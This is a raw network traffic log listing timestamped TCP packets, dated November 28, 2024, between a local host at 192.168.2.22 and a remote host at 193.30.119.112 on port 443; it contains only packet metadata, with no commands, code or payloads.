                                                                                                                                                                Nov 28, 2024 11:01:59.235960007 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.235990047 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.237129927 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.237205982 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.237215042 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.239491940 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.239577055 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.239586115 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.257592916 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.257730007 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.257755995 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.259396076 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.259475946 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.259494066 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.260852098 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.260921001 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.260936022 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.262465954 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.262532949 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.262547970 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.430324078 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.430434942 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.430461884 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.432116985 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.432126045 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.432164907 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.432182074 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.432200909 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.432254076 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.433573008 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.433581114 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.433614969 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.433636904 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.433656931 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.435198069 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.435205936 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.435267925 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.435286045 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.436759949 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.436795950 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.436820984 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.436836958 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.436882019 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.439207077 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.439214945 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.439271927 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.439289093 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.440871000 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.440937042 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.440951109 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.442625046 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.442688942 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.442704916 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.444180012 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.444240093 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.444253922 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.446634054 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.446700096 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.446716070 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.448318958 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.448379040 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.448391914 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.467593908 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.467696905 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.467717886 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.468641043 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.468703032 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.468719006 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.470345974 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.470412970 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.470431089 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.471987009 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.472048044 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.472064972 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.639693022 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.639806986 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.639837980 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.640696049 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.640703917 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.640734911 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.640767097 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.640785933 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.640821934 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.643802881 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.643918991 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.643927097 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.643945932 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.643975973 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.644001961 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.644074917 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.645571947 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.645579100 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.645629883 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.645653963 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.646917105 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.646946907 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.646976948 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.646987915 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.647032022 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.648030996 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.648039103 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.648106098 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.648114920 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.650388002 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.650471926 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.650489092 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.651465893 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.651524067 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.651540041 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.653734922 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.653803110 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.653816938 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.655405045 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.655477047 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.655494928 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.657056093 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.657118082 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.657134056 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.657972097 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.658730984 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.658788919 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.658802986 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.678052902 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.678114891 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.678129911 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.679352045 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.679414988 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.679423094 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.681118965 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.681175947 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.681186914 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.682740927 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.682794094 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.682806015 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.850276947 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.850358963 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.850378036 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.851351023 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.851362944 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.851402044 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.851423979 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.851435900 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.851480961 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.853040934 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.853050947 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.853089094 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.853091002 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.853116035 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.853131056 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.854696035 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.854707003 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.854762077 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.854770899 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.857047081 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.857059002 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.857112885 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.857125998 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.858783960 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.858877897 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.858887911 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.860399008 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.860475063 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.860482931 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.861977100 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.862037897 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.862047911 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.864778042 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.864837885 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.864845991 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.866122961 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.866195917 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.866204023 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.867753029 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.867816925 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.867825031 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.869879961 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.869950056 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.869956970 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.888767004 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.888838053 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.888854027 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.890393972 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.890460014 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.890469074 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.892106056 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.892180920 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.892189026 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.893785000 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:59.893855095 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:01:59.893863916 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.060755014 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.060920954 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.060944080 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.062279940 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.062292099 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.062340021 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.062378883 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.062392950 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.062438965 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.063469887 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.063481092 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.063509941 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.063538074 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.063555956 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.065937996 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.065944910 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.066032887 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.066045046 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.067471027 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.067500114 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.067564011 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.067573071 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.067617893 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.069207907 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.069216013 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.069291115 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.069302082 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.070903063 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.070969105 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.070979118 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.073287964 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.073363066 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.073371887 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.075721979 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.075799942 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.075809002 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.077157974 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.077248096 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.077256918 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.078212976 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.078280926 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.078286886 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.079957008 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.080044031 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.080054045 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.099387884 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.099556923 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.099590063 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.100524902 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.100591898 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.100605011 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.102380037 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.102463007 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.102489948 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.104764938 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.104877949 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.104903936 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.119916916 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.271929026 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.272028923 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.272067070 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.273035049 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.274714947 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.274812937 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.274812937 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.274823904 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.277165890 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.277628899 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.277643919 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.278718948 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.278779984 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.278779984 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.278789997 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.279081106 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.280414104 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.281634092 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.281642914 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.282068014 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.284317017 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.284326077 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.284493923 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.284559011 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.284565926 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.286103010 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.286158085 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.286158085 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.286164999 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.286425114 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.287858963 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.288316965 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.288324118 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.289423943 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.290560007 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.290580034 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.291801929 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.292915106 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.292927027 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.292943001 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.309926033 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.310493946 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.310513973 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.311295033 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.311819077 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.311829090 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.312130928 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.312933922 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.312989950 CET49173443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:00.312995911 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.315346956 CET44349173193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:00.315809011 CET49173443192.168.2.22193.30.119.112
